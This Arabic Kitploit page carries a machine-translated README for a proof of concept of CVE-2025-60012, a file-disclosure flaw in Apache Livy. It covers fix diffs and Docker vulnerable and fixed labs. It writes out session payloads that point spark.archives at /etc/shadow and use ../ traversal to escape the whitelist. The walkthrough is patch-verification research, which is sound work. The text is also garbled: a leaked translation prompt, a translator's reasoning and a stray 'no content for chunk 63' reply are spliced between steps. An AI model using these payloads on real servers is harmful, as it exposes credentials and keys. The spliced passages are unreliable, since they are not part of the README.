Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
أدوات/GitHubGitHub/sid6224/cve-2025-60012-poc
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبأمن السحابةالتعلم والتعليممختبرات وتدريب عملي
GitHubsid6224/cve-2025-60012-poc

CVE-2025-60012-POC

POC لثغرة الوصول غير المصرح به إلى الملفات في Apache Livy

عرض المستودع
1منذ 5 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

لأغراض تعليمية وبحوث أمنية فقط. لا تستخدم ضد أنظمة لا تملكها أو ليس لديك إذن كتابي صريح لاختبارها. → إخلاء المسؤولية الكامل

CVE-2025-60012 — وصول غير مصرح به إلى الملفات في Apache Livy

CVE Livy Severity CWE Type License Platform Language

نظرة عامة

الحقلالتفاصيل
معرّف CVECVE-2025-60012
الخطورةمتوسطة (CVSS 6.3)
المتأثرApache Livy 0.7.0-incubating, 0.8.0-incubating — عند الاتصال بـ Apache Spark 3.1 أو أحدث
تم الإصلاح فيApache Livy 0.9.0-incubating
CWECWE-20: التحقق غير السليم من المدخلات
تاريخ الإفصاح2026-03-13
المُبلِّغFurue Hideyuki

وصف الثغرة

يمكن لمستخدم مُصادَق يمتلك حق الوصول إلى واجهة Livy REST أو JDBC إرسال جلسة Spark أو مهمة دفعية بقيم إعدادات مصمَّمة بعناية. يجتمع ضعفان ليتمكّن المهاجم من الرجوع إلى ملفات نظام الملفات المحلي خارج المسارات المسموح بها:

  1. غياب التحقق من spark.archives — قدّم Spark 3.1 خاصية spark.archives كطريقة موحّدة لتوزيع ملفات الأرشيف عبر جميع مديري العناقيد. قائمة المفاتيح المُرمّزة الثابتة في Livy 0.8.0 التي تخضع مفاتيح إعداداتها للتحقق من المسار (HARDCODED_SPARK_FILE_LISTS) لا تتضمن spark.archives. لذلك لا يتم أبدًا فحص المسار المُمرَّر عبر هذا المفتاح مقابل القائمة البيضاء لنظام الملفات المحلي (livy.file.local-dir-whitelist)، مما يسمح للمهاجم بالرجوع إلى أي ملف محلي.

  2. تجاوز اجتياز المسار في فحص القائمة البيضاء — حتى بالنسبة لمفاتيح الإعدادات التي يتم التحقق منها فعليًا، تستخدم مقارنة القائمة البيضاء في Livy 0.8.0 استدعاء startsWith من Java String على المسار الخام. يمكن للمهاجم تجاوز ذلك باستخدام اجتياز المسار: /whitelisted/dir/../../etc/passwd يجتاز فحص السلسلة النصية لكنه يُحل إلى خارج الدليل المسموح به.

ملفات المصدر المتأثرة

الملف 1 — LivyConf.scala

الإصدار المعرض (v0.8.0): https://github.com/apache/incubator-livy/blob/v0.8.0-incubating/server/src/main/scala/org/apache/livy/LivyConf.scala

الإصدار المُصلَح (v0.9.0): https://github.com/apache/incubator-livy/blob/v0.9.0-incubating/server/src/main/scala/org/apache/livy/LivyConf.scala

الملف 2 — Session.scala

الإصدار المعرض (v0.8.0): https://github.com/apache/incubator-livy/blob/v0.8.0-incubating/server/src/main/scala/org/apache/livy/sessions/Session.scala

الإصدار المُصلَح (v0.9.0): https://github.com/apache/incubator-livy/blob/v0.9.0-incubating/server/src/main/scala/org/apache/livy/sessions/Session.scala

الكود المصدري — أوامر الاستنساخ

تم استنساخ كلا الإصدارين مباشرة من مستودع Apache Livy الرسمي على GitHub إلى مساحة العمل هذه باستخدام الأوامر الدقيقة التالية:

المستودع: https://github.com/apache/incubator-livy```bash

Vulnerable version — cloned into ./livy-0.8.0/

git clone --depth=1 --branch v0.8.0-incubating
https://github.com/apache/incubator-livy
livy-0.8.0

Fixed version — cloned into ./livy-0.9.0/

git clone --depth=1 --branch v0.9.0-incubating
https://github.com/apache/incubator-livy
livy-0.9.0

root@kitploit:~
| الإصدار | الوسم | الالتزام المُحدد | المسار المحلي |
|---------|-----|-----------------|------------|
| 0.8.0-incubating | `v0.8.0-incubating` | `78b512658e4baf1183f2b352203ada1928d8111a` | `./livy-0.8.0/` |
| 0.9.0-incubating | `v0.9.0-incubating` | `7215f209b25b96488189567807eaded00953a492` | `./livy-0.9.0/` |

## الاختلافات الدقيقة للكود

تم إنشاء الاختلافات عن طريق استنساخ الوسمين محليًا (انظر أعلاه) وتشغيل:```bash
diff -u livy-0.8.0/server/src/main/scala/org/apache/livy/LivyConf.scala \
         livy-0.9.0/server/src/main/scala/org/apache/livy/LivyConf.scala

diff -u livy-0.8.0/server/src/main/scala/org/apache/livy/sessions/Session.scala \
         livy-0.9.0/server/src/main/scala/org/apache/livy/sessions/Session.scala

الإصلاح 1 — LivyConf.scala: تمت إضافة spark.archives إلى قائمة الملفات المرمّزة```diff

private val HARDCODED_SPARK_FILE_LISTS = Seq( SPARK_JARS, SPARK_FILES, SPARK_ARCHIVES, SPARK_PY_FILES,

  • "spark.archives", // <-- ADDED in v0.9.0 (Spark 3.1+ config key) "spark.yarn.archive", "spark.yarn.dist.files", "spark.yarn.dist.jars", "spark.yarn.jar", "spark.yarn.jars" )
root@kitploit:~
**تأثير الإدخال المفقود في v0.8.0:**
عندما يرسل مستخدم جلسة تحتوي على `conf: {"spark.archives": "file:///etc/passwd"}`، فإن Livy
0.8.0 لا يستدعي أبدًا `resolveURIs()` على تلك القيمة ولا يتحقق منها مقابل
`livy.file.local-dir-whitelist`. يتم تمرير المسار إلى Spark دون تحقق.

---

### الإصلاح 2 — `Session.scala`: تطبيع المسار قبل فحص القائمة البيضاء```diff
   def resolveURI(uri: URI, livyConf: LivyConf): URI = {
     ...
     if (resolved.getScheme() == "file") {
-      require(livyConf.localFsWhitelist.find(resolved.getPath().startsWith).isDefined,
+      require(livyConf.localFsWhitelist.find(
+        Paths.get(resolved.getPath()).normalize.startsWith).isDefined,
         s"Local path ${uri.getPath()} cannot be added to user sessions.")
     }
   }

التأثير في v0.8.0: يمكن تجاوز فحص السلسلة النصية الخام startsWith باستخدام حمولة اجتياز المسار.

مثال: إذا كان `livy.file.local-dir-whitelist = /opt/safe-data```` /opt/safe-data/../../../etc/passwd

root@kitploit:~
- v0.8.0: `"/opt/safe-data/../../../etc/passwd".startsWith("/opt/safe-data")` → **true** (تم تجاوزه)
- v0.9.0: `Paths.get("/opt/safe-data/../../../etc/passwd").normalize` → `/etc/passwd`
          `/etc/passwd`.startsWith(`/opt/safe-data`) → **false** (تم حظره)

## ملخص ناقل الهجوم```
Attacker (authenticated REST/JDBC user)
    │
    ▼
POST /sessions  (or /batches)
{
  "conf": {
    "spark.archives": "file:///etc/shadow"        ← Attack 1: unvalidated Spark 3.1 key
    "spark.jars": "file:///safe/../etc/shadow"    ← Attack 2: path traversal bypass
  }
}
    │
    ▼
Livy 0.8.0 — validation skipped / bypassed
    │
    ▼
Spark reads the file and distributes it to executors
    │
    ▼
Attacker retrieves file contents via job output / logs

بيئة الاختبار

تم تنفيذ والتحقق من جميع خطوات إثبات المفهوم (PoC) هذه على النظام التالي:

المكوّنالتفاصيل
نظام التشغيل المضيفUbuntu 24.04.4 LTS (Noble Numbat)
النواة6.17.0-14-generic x86_64
البنيةx86_64
إجمالي الذاكرة15.49 GiB
محرك Docker28.2.2
JDK المضيفOpenJDK 17.0.18 (يُستخدم على المضيف فقط — تستخدم الحاويات eclipse-temurin:11-jdk-focal)
الصورة الأساسية للحاويةeclipse-temurin:11-jdk-focal (JDK 11, Ubuntu Focal)
إصدار Spark (لكلتا الصورتين)3.1.3 with Hadoop 3.2
إصدار Livy — الصورة القابلة للاستغلال0.8.0-incubating (Scala 2.12 build)
إصدار Livy — الصورة المصلحة0.9.0-incubating (Scala 2.12 build)

---``` . ├── LICENSE ├── README.md ├── docker/ │ ├── fixed/ │ │ ├── Dockerfile │ │ └── livy.conf │ └── vulnerable/ │ ├── Dockerfile │ └── livy.conf ├── livy-0.8.0/ ← Apache Livy 0.8.0-incubating source ├── livy-0.9.0/ ← Apache Livy 0.9.0-incubating source └── test/ └── validate.sh

root@kitploit:~
---

## إثبات المفهوم

### نظرة عامة```
docker/vulnerable/   →  image: cve-2025-60012-vulnerable   (Livy 0.8.0 + Spark 3.1.3)
docker/fixed/        →  image: cve-2025-60012-fixed         (Livy 0.9.0 + Spark 3.1.3)
test/validate.sh     →  single script, run unchanged against both environments

التسلسل الكامل من البداية إلى النهاية — اتبع الخطوات من 1 إلى 4 بالترتيب:``` Step 1: Build vulnerable image → start container → verify Livy is up Step 2: Run validate.sh → confirm VULNERABLE (both attacks HTTP 201) → stop container Step 3: Build fixed image → start container → verify Livy is up Step 4: Run validate.sh → confirm FIXED (both attacks HTTP 400) → stop container

root@kitploit:~
> **ملاحظة:** يستغرق Livy حوالي 15–20 ثانية ليصبح جاهزًا بعد `docker run`.
> تتضمن جميع الخطوات أدناه `sleep 20` صريحًا قبل أي استدعاء API.

---

### الخطوة 1 — بناء وتشغيل البيئة القابلة للاستغلال (Livy 0.8.0 + Spark 3.1.3)

**الملفات:**
- `docker/vulnerable/Dockerfile` — eclipse-temurin:11-jdk-focal, Spark 3.1.3, Livy 0.8.0-incubating
- `docker/vulnerable/livy.conf`  — يستمع على `0.0.0.0:8998`، الوضع المحلي، القائمة البيضاء = `/opt/safe-data`

**1a. بناء الصورة:**```bash
docker build -t cve-2025-60012-vulnerable docker/vulnerable/

تحقق — تم إنشاء الصورة:```bash docker images cve-2025-60012-vulnerable

root@kitploit:~
Translate the following Kitploit tool content.
This is chunk 23 of 79 from a longer Markdown document being translated in sequence.
The source language is en.
Target language: ar.
Content type: README chunk 23/79.

CHUNK-SPECIFIC RULES:
1. Translate ONLY natural language text. NEVER translate: code blocks, shell commands, file paths, URLs, package names, technical identifiers, CVE IDs, environment variable names.
2. Preserve ALL Markdown syntax EXACTLY as-is.
3. DO NOT add introductory headings like "## Chunk N", "## Part N", "## Continued from..." or "## Translation of chunk...". DO NOT add "End of chunk N" or "Content continues..." markers.
4. DO NOT add "..." ellipsis markers to indicate omission. Translate ONLY the exact text provided, character for character in structure.
5. Chunk boundaries are intentional. Preserve structure so chunks can be concatenated seamlessly without visual artifacts.
6. Return ONLY the translated text. No preamble, no commentary, no wrapping in code blocks, no JSON/YAML/XML, no arrays, no objects, no schemas, no key/value wrappers.
7. If the chunk starts mid-paragraph, continue translating from that point. Do not add a leading newline or indent unless it exists in the source.

INPUT:

Expected output:

So after "INPUT:" there is a blank line, then "Expected output:" appears. That might be the original text to translate: the string "Expected output:" was the input? Or the user intended to show the input and expected output for demonstration, but then left it blank? In translation tasks, sometimes the prompt includes the word "INPUT:" and then the actual source text, and then "Expected output:" maybe a placeholder. But here "Expected output:" is on a new line after the blank. If the actual content to translate is the string "Expected output:" then I need to translate that phrase to Arabic. However, "Expected output:" is a natural language phrase that could be translated. But the instruction says this is chunk 23 of 79 from a README, so it likely would have technical content, not just "Expected output:". I suspect the user accidentally omitted the chunk text. But I must respond based on what's provided. The instruction says "Translate the following Kitploit tool content." Then after the rules, "INPUT:" and then nothing except "Expected output:"? That could be the input: the word "Expected output:" itself. I'll translate that to Arabic. The translation of "Expected output:" as a heading or phrase would be "الناتج المتوقع:" or "المخرجات المتوقعة:". Given context, it's likely a label in a README, so I'll use "الناتج المتوقع:" (the expected output). I'll preserve the colon and formatting. The output should be just that phrase, nothing else. So I'll output "الناتج المتوقع:" in plain text.الناتج المتوقع:``` REPOSITORY TAG IMAGE ID CREATED SIZE cve-2025-60012-vulnerable latest

root@kitploit:~
---

**1b. ابدأ الحاوية:**```bash
docker run -d --name livy-vulnerable -p 8998:8998 cve-2025-60012-vulnerable

تحقق — الحاوية قيد التشغيل:```bash docker ps --filter name=livy-vulnerable

root@kitploit:~
## الناتج المتوقع:```
CONTAINER ID   IMAGE                         COMMAND        STATUS         PORTS
<id>           cve-2025-60012-vulnerable     "livy-server"  Up X seconds   0.0.0.0:8998->8998/tcp

1ج. انتظر حتى يبدأ Livy، ثم تحقق من REST API:

يتطلب Livy حوالي 15–20 ثانية للتهيئة قبل أن يقدم الطلبات.```bash sleep 20 curl -s http://localhost:8998/sessions

root@kitploit:~
المخرجات المتوقعة:```json
{"from":0,"total":0,"sessions":[]}

1d. تحقق من تخطيط الدليل داخل الحاوية:

تأكد من وجود الملف الآمن المدرج في القائمة البيضاء:```bash docker exec livy-vulnerable cat /opt/safe-data/safe.txt

root@kitploit:~
الناتج المتوقع:```
This file lives inside the whitelisted directory.

تأكد من أن الملف الحساس المستهدف موجود خارج القائمة البيضاء:```bash docker exec livy-vulnerable cat /opt/sensitive/secret.txt

root@kitploit:~
المخرجات المتوقعة:```
SECRET_KEY=abcdef1234567890
DB_PASSWORD=SuperSecret!

الخطوة 2 — تشغيل التحقق ضد البيئة المعرضة للثغرات

يجب أن تظل الحاوية المعرضة للثغرات من الخطوة 1 تعمل على المنفذ 8998.

ماذا يختبر test/validate.sh:

#الهجوممفتاح الحمولةالنتيجة المتوقعة على Livy 0.8.0
1spark.archives غير موجود في HARDCODED_SPARK_FILE_LISTS في LivyConf.scalaspark.archivesHTTP 201 — تم قبول المسار دون التحقق منه
2اجتياز المسار عبر String.startsWith() في Session.scalaspark.jars مع اجتياز ../HTTP 201 — يتجاوز الاجتياز القائمة البيضاء

2a. شغّل السكربت:```bash bash test/validate.sh

root@kitploit:~
**الإخراج المتوقع:**```
TEST      : Attack 1 — spark.archives (unvalidated Spark 3.1+ key)
WHAT      : spark.archives path to /opt/sensitive/secret.txt (outside whitelist /opt/safe-data)
PAYLOAD   : {"kind":"spark","conf":{"spark.archives":"file:///opt/sensitive/secret.txt"}}

HTTP CODE : 201
RESPONSE  : {"id":0,...,"conf":{"spark.archives":"file:///opt/sensitive/secret.txt"},...}

[VULNERABLE] Livy ACCEPTED the request (HTTP 201).
             Path was NOT validated — attack vector is open.

TEST      : Attack 2 — path traversal via spark.jars (String.startsWith bypass)
WHAT      : spark.jars path using '../' to escape /opt/safe-data whitelist
PAYLOAD   : {"kind":"spark","conf":{"spark.jars":"file:///opt/safe-data/../sensitive/secret.txt"}}

HTTP CODE : 201
RESPONSE  : {"id":1,...,"conf":{"spark.jars":"file:///opt/safe-data/../sensitive/secret.txt"},...}

[VULNERABLE] Livy ACCEPTED the request (HTTP 201).
             Path was NOT validated — attack vector is open.

RESULT: VULNERABLE — exit code 1

2b. إيقاف وإزالة الحاوية الضعيفة:```bash docker stop livy-vulnerable && docker rm livy-vulnerable

root@kitploit:~
**تحقق — تمت إزالة الحاوية بالكامل:**```bash
docker ps -a --filter name=livy-vulnerable

المخرجات المتوقعة (فارغة — لا توجد صفوف):``` CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES

root@kitploit:~
### الخطوة 3 — بناء وتشغيل البيئة المثبّتة (Livy 0.9.0 + Spark 3.1.3)

**الملفات:**
- `docker/fixed/Dockerfile` — صورة أساسية متطابقة وSpark 3.1.3، فقط إصدار Livy يتغير إلى 0.9.0
- `docker/fixed/livy.conf`  — مطابق لـ `docker/vulnerable/livy.conf` (نفس القائمة البيضاء، المنفذ، الوضع)

> إن إبقاء Spark والصورة الأساسية وجميع الإعدادات مطابقة للخطوة 1 يعزل Livy باعتباره المتغير الوحيد.

**3أ. بناء الصورة:**```bash
docker build -t cve-2025-60012-fixed docker/fixed/

تحقق — تم إنشاء الصورة:```bash docker images cve-2025-60012-fixed

root@kitploit:~
الناتج المتوقع:```
REPOSITORY                TAG       IMAGE ID       CREATED         SIZE
cve-2025-60012-fixed      latest    <id>           <time>          <size>

3b. شغّل الحاوية:

---```bash docker run -d --name livy-fixed -p 8998:8998 cve-2025-60012-fixed

root@kitploit:~
**تحقق — الحاوية قيد التشغيل:**```bash
docker ps --filter name=livy-fixed

I don't see any content to translate in this chunk. The input appears to be empty. Please provide the Markdown content for chunk 63, and I'll translate it into Arabic following all the specified rules.``` CONTAINER ID IMAGE COMMAND STATUS PORTS cve-2025-60012-fixed "livy-server" Up X seconds 0.0.0.0:8998->8998/tcp

root@kitploit:~
---

**3c. انتظر حتى يبدأ Livy، ثم تحقق من REST API:**```bash
sleep 20
curl -s http://localhost:8998/sessions

الناتج المتوقع:```json {"from":0,"total":0,"sessions":[]}

root@kitploit:~
---

### الخطوة 4 — تشغيل نفس التحقق ضد البيئة المُصلَحة

> يجب أن تكون الحاوية المُصلَحة من الخطوة 3 قيد التشغيل على المنفذ 8998.
> البرنامج النصي مطابق — دون أي تغييرات.

**ما الذي يتغير بين الخطوة 2 والخطوة 4:**
- نفس الحمولات، نفس البرنامج النصي
- يقوم Livy 0.9.0 الآن بالتحقق من `spark.archives` عبر `HARDCODED_SPARK_FILE_LISTS`
- يقوم Livy 0.9.0 الآن بتطبيع المسارات باستخدام `Paths.get().normalize()` قبل فحص القائمة البيضاء
- يتم رفض كلا الهجومين برمز HTTP 400 قبل إنشاء الجلسة

**4a. تشغيل البرنامج النصي:**```bash
bash test/validate.sh

ملاحظة: يعمل validate.sh على النحو التالي:

  1. يستعلم بشكل متكرر من GET /sessions حتى يستجيب Livy (حتى 60 ثانية)، مما يؤكد أن الخادم جاهز.
  2. لكل هجوم، يرسل طلب POST /sessions عبر curl مع حمولة conf مصممة خصيصًا لاستهداف ملف خارج القائمة البيضاء (/opt/sensitive/secret.txt).
  3. يقرأ رمز استجابة HTTP: 201 تعني أن Livy قبِل المسار دون تحقق (ثغرة أمنية)؛ 400 تعني أن Livy رفضه عند فحص القائمة البيضاء (تم الإصلاح).
  4. إذا تم إنشاء جلسة (HTTP 201)، يقوم البرنامج النصي بحذفها فورًا عبر DELETE /sessions/{id} للحفاظ على الخادم نظيفًا.
  5. بعد الاختبارين، يطبع ملخصًا وينتهي برمز 1 (ثغرة أمنية) أو 0 (تم الإصلاح)، مما يجعله مناسبًا للاستخدام في خطوط الأنابيب الآلية.

المخرجات المتوقعة:``` TEST : Attack 1 — spark.archives (unvalidated Spark 3.1+ key) WHAT : spark.archives path to /opt/sensitive/secret.txt (outside whitelist /opt/safe-data) PAYLOAD : {"kind":"spark","conf":{"spark.archives":"file:///opt/sensitive/secret.txt"}}

HTTP CODE : 400 RESPONSE : {"msg":"Rejected, Reason: requirement failed: Local path /opt/sensitive/secret.txt cannot be added to user sessions."}

[FIXED] Livy REJECTED the request (HTTP 400). Path validation blocked the payload.

TEST : Attack 2 — path traversal via spark.jars (String.startsWith bypass) WHAT : spark.jars path using '../' to escape /opt/safe-data whitelist PAYLOAD : {"kind":"spark","conf":{"spark.jars":"file:///opt/safe-data/../sensitive/secret.txt"}}

HTTP CODE : 400 RESPONSE : {"msg":"Rejected, Reason: requirement failed: Local path /opt/safe-data/../sensitive/secret.txt cannot be added to user sessions."}

[FIXED] Livy REJECTED the request (HTTP 400). Path validation blocked the payload.

RESULT: FIXED — exit code 0

root@kitploit:~
**ما تؤكده رسائل الخطأ:**

| الهجوم | HTTP | رسالة الخطأ | السبب الجذري الذي تم إصلاحه |
|--------|------|---------------|-----------------|
| 1 — `spark.archives` | 400 | `Local path /opt/sensitive/secret.txt cannot be added to user sessions.` | تمت إضافة `spark.archives` إلى `HARDCODED_SPARK_FILE_LISTS` في `LivyConf.scala`؛ أصبح المسار الآن يمر بفحص القائمة البيضاء في `resolveURI()` |
| 2 — تجاوز المسار | 400 | `Local path /opt/safe-data/../sensitive/secret.txt cannot be added to user sessions.` | تمت إضافة `Paths.get(...).normalize()` في `Session.scala`؛ يعمل على معالجة `../` قبل المقارنة مع القائمة البيضاء |

**4b. إيقاف وإزالة الحاوية المُصححة:**```bash
docker stop livy-fixed && docker rm livy-fixed

التحقق — تمت إزالة الحاوية بالكامل:```bash docker ps -a --filter name=livy-fixed

root@kitploit:~
المخرجات المتوقعة (فارغة — لا صفوف):```
CONTAINER ID   IMAGE   COMMAND   CREATED   STATUS   PORTS   NAMES

الاستنتاج

يُظهر CVE-2025-60012 أن الثغرة الأمنية لا تتطلب دائمًا تجاوز إجراء أمني — بل يكفي أحيانًا العثور على مسار لم يُوجَّه عبر هذا الإجراء من الأساس.

كانت القائمة البيضاء (livy.file.local-dir-whitelist) موجودة في كلٍّ من Livy 0.8.0 و0.9.0 وتم تكوينها بشكل صحيح في البيئتين. وكانت حالات الفشل في مرحلة سابقة عليها:

  1. سجل مفقود (الهجوم 1): تم تقديم spark.archives في Spark 3.1 كبديل مستقل عن مدير المجموعات لـ spark.yarn.dist.archives. لم يتم تحديث القائمة الداخلية في Livy لمفاتيح الإعدادات التي تُمرَّر مساراتها إلى فحص القائمة البيضاء (HARDCODED_SPARK_FILE_LISTS في LivyConf.scala) لتشمل هذا المفتاح. ومن ثم، كان أي مسار يُمرَّر عبر spark.archives يُرسل إلى Spark دون أي تحقق. لم تتم استشارة القائمة البيضاء إطلاقًا.

  2. خلل منطقي في الفحص نفسه (الهجوم 2): بالنسبة للمفاتيح المسجلة، استخدمت مقارنة القائمة البيضاء في Session.scala دالة String.startsWith() في Java على سلسلة المسار الخام. هذا غير كافٍ لمقارنات مسارات نظام الملفات لأنه لا يأخذ في الحسبان التنقل عبر ... فمسار مثل /opt/safe-data/../sensitive/secret.txt يلبي فحص السلسلة مقابل الإدخال /opt/safe-data في القائمة البيضاء، لكنه في الواقع يُحل إلى موقع خارجها تمامًا.

بأخذ هاتين الثغرتين معًا، يعني ذلك أن مستخدمًا مصادقًا — دون أي صلاحيات خاصة تتجاوز الوصول إلى واجهة Livy REST أو JDBC — يمكنه الإشارة إلى ملفات محلية عشوائية على مضيف خادم Livy. في مجموعة تحليلات مشتركة، يترجم ذلك إلى احتمالية كشف بيانات الاعتماد أو المفاتيح أو ملفات الإعدادات أو أي بيانات يمكن لمستخدم عملية Livy قراءتها.

الإصلاح في 0.9.0 بسيط ومحدد: سطر واحد أُضيف إلى HARDCODED_SPARK_FILE_LISTS (لسد فجوة التسجيل) واستدعاء واحد للدالة Paths.get().normalize() أُضيف قبل مقارنة القائمة البيضاء (لسد ثغرة الالتفاف عبر المسارات). لم يغيّر أيٌّ من التعديلين القائمة البيضاء نفسها، مما يؤكد أن القائمة البيضاء لم تكن المشكلة أبدًا — بل كانت المشكلة أن الكود الذي يغذّيها كان ناقصًا وغير دقيق.

الخلاصة الأساسية للمدافعين: عند نشر Livy مع Spark 3.1 أو أحدث، فإن الترقية إلى Livy 0.9.0-incubating هي العلاج الكامل الوحيد. إن تشديد livy.file.local-dir-whitelist وحده غير كافٍ ضد الهجوم 1، لأن المسارات المُرسلة عبر spark.archives تتجاوز ذلك الفحص تمامًا في الإصدارات المعرضة للخطر.

المراجع

  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-60012
  • إفصاح OSS-Sec: http://www.openwall.com/lists/oss-security/2026/03/12/1
  • القائمة البريدية لأباتشي: https://lists.apache.org/thread/gpc85fwrgrbglpk9gm8tmcjzqnctx64w
  • مشروع Apache Livy: https://livy.apache.org/

شكر وتقدير

  • Furue Hideyuki — المُبلّغ الأصلي عن CVE-2025-60012 إلى فريق أمان Apache.
  • مطوّرو Apache Livy — للاستجابة السريعة والإصلاح الموجّه في v0.9.0-incubating.
  • فريق أمان Apache — لتنسيق عملية الإفصاح المسؤولة.
  • مجتمع OSS-Sec — لخيط الإفصاح العام الذي أتاح التحليل المستقل.

المساهمة

المساهمات لتحسين هذا الإثبات أو التوثيق مرحّب بها! يرجى التأكد من أن أي مساهمات:

  • تتبع ممارسات الإفصاح المسؤولة
  • تتضمن إخلاء المسؤولية المناسب
  • لا تتضمن تعليمات برمجية ضارة تتجاوز العرض التعليمي
  • تحافظ على التركيز على القيمة التعليمية

للمساهمة، افتح طلب سحب أو أنشئ issue يصف التغيير المقترح.

الرخصة

هذا المشروع مرخّص بموجب رخصة MIT.

إخلاء المسؤولية

هذا المستودع لأغراض تعليمية وبحوث أمنية فقط. يوضح إثبات المفهوم آليات الثغرة للمساعدة على الفهم والإجراءات الدفاعية. لا تستخدمه ضد أي أنظمة لا تملكها أو ليس لديك إذن كتابي صريح لاختبارها.

الوسوم

cve-2025-60012 apache-livy apache-spark path-traversal unauthorized-file-access cwe-20 improper-input-validation spark-archives livy-0.8.0 livy-0.9.0 security-research proof-of-concept docker java scala vulnerability-analysis whitelist-bypass file-disclosure rest-api-security

تنزيل الأداة